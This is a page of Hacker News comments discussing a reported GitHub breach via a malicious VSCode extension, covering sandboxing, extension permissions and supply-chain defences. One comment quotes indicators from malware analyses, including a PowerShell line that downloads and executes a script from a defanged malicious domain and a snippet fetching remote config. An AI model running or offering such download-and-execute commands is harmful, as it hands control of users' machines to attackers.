Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

GitHub confirms breach of 3,800 repos via malicious VSCode extension

bleepingcomputer.com

Post reply on HN
Print view View original

371–380 of 488 posts

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#371

Post by Predaxia »

alexfoo wrote: post #3
gus_ wrote: post #2

so how did they exfiltrate the information without noticing? what OS was the developer using? what security measures were they using? yesterday discussion https://news.ycombinator.com/item?id=48191680

The 3800 repos weren't exfiltrated from the compromised machine. The malware (be it a VSCode plugin, an npm package, or whatever is next) simply slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly. It's trivial to do this in a way to avoid detection. The small payload can be encrypted (so it can't be pattern matched) and then the destination can be one of millions…

[flagged]

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#372

Post by mschuster91 »

nstart wrote: post #209
atq2119 wrote: post #191

Earlier quoted context omitted.

Fully agree with the first half of your comment. The second half goes off the rails, though. I rarely see people complain about sandboxing. What people complain about is when devices are locked down in a way where you are only allowed to install software that is approved by a central gatekeeper, even though sandboxing is in place that should make it far safer to run arbitrary safer than on traditional desktop systems…

Agreed. What's frustrating is that we have models for how sandboxing can work and instead of investing efforts into nailing that experience, the OS providers are prone to turning it into a monetization/lock in layer instead. My VLC and VS Code should have an OS native way of being limited to particular functionality. But when the OS providers implement the sandbox, they center it around an App Store and restrictions…

> My VLC and VS Code should have an OS native way of being limited to particular functionality.

The problem is... it's hard to scope. A media suite such as VLC, simply by what it is intended to do, needs a lot of permissions. Read data from physical media drives (CD/DVD/BD), preferably directly against the device to circumvent DRM. Access the network 0.0.0.0/0 1-65536 TCP and UDP to be able to play all sorts of streaming media. Access all files the user has access to on the computer because everything can be a media file and no operating system available does MIME type detection. Write to files on the user's computer to do stuff like format conversions and screen recordings. Access the screen framebuffer and the user's microphone for said screen recordings. Open network listen sockets to be a streaming endpoint.

Unless filesystems get a distinct metadata field to each file, there really is no viable way to sandbox it.

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#373

Post by axegon_ »

wvh wrote: post #369

I've been telling less computer literate folks not to install random stuff since the nineties, and I can't understand how many devs are doing just that these days. I used to work in security auditing, and it makes me feel pretty jaded to think of the gigabytes upon gigabytes of random stuff that just gets pulled in from everywhere in IDEs, package managers, build pipelines and container images. At least back then the…

The vast majority of devs in the last few years have either been raised as sloppers or transitioned from developers to sloppers. Programming has evolved into a blackbox where fewer than ever people know how a program works, despite the numbers of "programmers" has skyrocketed. Just a few months ago a friend had a job interview(fake one obviously) where he was asked to clone a repo and do some stuff on it. The repo contained some vs code hooks which did a ton of stuff in the background installing backdoors and whatnot. In my friend's case, that was a non-issue since he was running it in a VM but I recon thousands of others have fallen victim of such attacks and have no clue still.

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#374

Post by Sweepi »

wvh wrote: post #369

I've been telling less computer literate folks not to install random stuff since the nineties, and I can't understand how many devs are doing just that these days. I used to work in security auditing, and it makes me feel pretty jaded to think of the gigabytes upon gigabytes of random stuff that just gets pulled in from everywhere in IDEs, package managers, build pipelines and container images. At least back then the…

Answer: Because the "random stuff" (plugins for VS Code and other IDEs) solves real problems and nothing bad happens most of the time.

Almost no manager will sign-off spending time on building stuff in-house if its available "for free".

This is also in no way a new thing. How much code was written in notepad++ in the '00ies? Did anyone bother to check if the plugins did sth. malicious? We also used some weird closed-src "addon" for the Nullsoft installer to get a product out of the door, dont remember what the problem was exactly....

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#375

Post by clownpenis_fart »

axegon_ wrote: post #373
wvh wrote: post #369

I've been telling less computer literate folks not to install random stuff since the nineties, and I can't understand how many devs are doing just that these days. I used to work in security auditing, and it makes me feel pretty jaded to think of the gigabytes upon gigabytes of random stuff that just gets pulled in from everywhere in IDEs, package managers, build pipelines and container images. At least back then the…

The vast majority of devs in the last few years have either been raised as sloppers or transitioned from developers to sloppers. Programming has evolved into a blackbox where fewer than ever people know how a program works, despite the numbers of "programmers" has skyrocketed. Just a few months ago a friend had a job interview(fake one obviously) where he was asked to clone a repo and do some stuff on it. The repo co…

[dead]

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#376

Post by gus_ »

no-name-here wrote: post #239
mikeweiss wrote: post #226

Earlier quoted context omitted.

Or how about just don't allow your VS extensions outbound Internet access ...

How? I haven’t found a way to do that on windows, as even with third-party monitoring firewalls, extension's network access is indistinguishable from the rest of VS code, so you’d either have to disallow network access from both VS code and all of its extensions combined, or none of them?

restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.

Take for example this activity from a malicious extension:

  This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.

  powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
  This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicio...

Or this one:

  const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
  function fetchConfigAndRun() {
     http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:

https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...

so maybe it's not bulletproof, but it helps to mitigate these threats.

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#377

Post by keyle »

wvh wrote: post #369

I've been telling less computer literate folks not to install random stuff since the nineties, and I can't understand how many devs are doing just that these days. I used to work in security auditing, and it makes me feel pretty jaded to think of the gigabytes upon gigabytes of random stuff that just gets pulled in from everywhere in IDEs, package managers, build pipelines and container images. At least back then the…

Never underestimate the power of procastination disguised as productivity!

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#378

Post by vldszn »

no-name-here wrote: post #242
vldszn wrote: post #55

friendly reminder: - disable auto-updates for extensions in VS Code/Cursor - use static analysis for GitHub Actions to catch security issues in pre-commit hook and on ci: https://github.com/zizmorcore/zizmor - set locally: pnpm config set minimum-release-age 4320 # 3 days in minutes https://pnpm.io/supply-chain-security - for other package managers check: https://gist.github.com/mcollina/b294a6c39ee700d24073c0e5a4e..…

Thanks! > for other package managers For other js package managers. Sadly such functionality seems far less common for c# (nuget) or rust (cargo). > add Socket Free Firewall when installing npm packages on CI to catch malware It appears that functionality depends on blacklisting malware from being downloaded? But don't the repositories (npm, etc) take down malware once it's identified - is socket actually blacklistin…

[dead]

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#379

Post by Bigpet »

cozzyd wrote: post #123
amluto wrote: post #101

Earlier quoted context omitted.

Kind of. A vscode workspace can trivially execute code on the machine that runs the server end of vscode. (This is how building works -- there is no sandbox unless the workspace config explicitly uses some kind of sandbox.) So the workspace can usually trivially elevate permissions to take over the vscode server, including installing extensions on it without asking you. In principle, there is a teeny tiny bit of isol…

It would be nice if there was an easy way to prevent people from installing vscode remotes on a shared server... Probably can run an ebpf routine to disallow creation of folders named . vscode*

Disabling ssh alternate channels will make it uncomfortable enough for most people to be a deterrant. But if you require multiple ssh channels for different reasons that won't be a solution for you.

Re: GitHub confirms breach of 3,800 repos via malicious VSCode extension

#380

Post by emsign »

wvh wrote: post #369

I've been telling less computer literate folks not to install random stuff since the nineties, and I can't understand how many devs are doing just that these days. I used to work in security auditing, and it makes me feel pretty jaded to think of the gigabytes upon gigabytes of random stuff that just gets pulled in from everywhere in IDEs, package managers, build pipelines and container images. At least back then the…

It's stupid but understandable. Be it browsers or IDEs they lack much needed functionality but instead of completing their products so they can be used productively out of the box, they outsource this to the community and call it a feature. Doesn't matter how good your bug fixing and security policies are if you allow basically everyone to circumvent it. In a nutshell Microsoft is lazy. Don't use their products and beware of the extension/module creep elsewhere.
Post reply on HN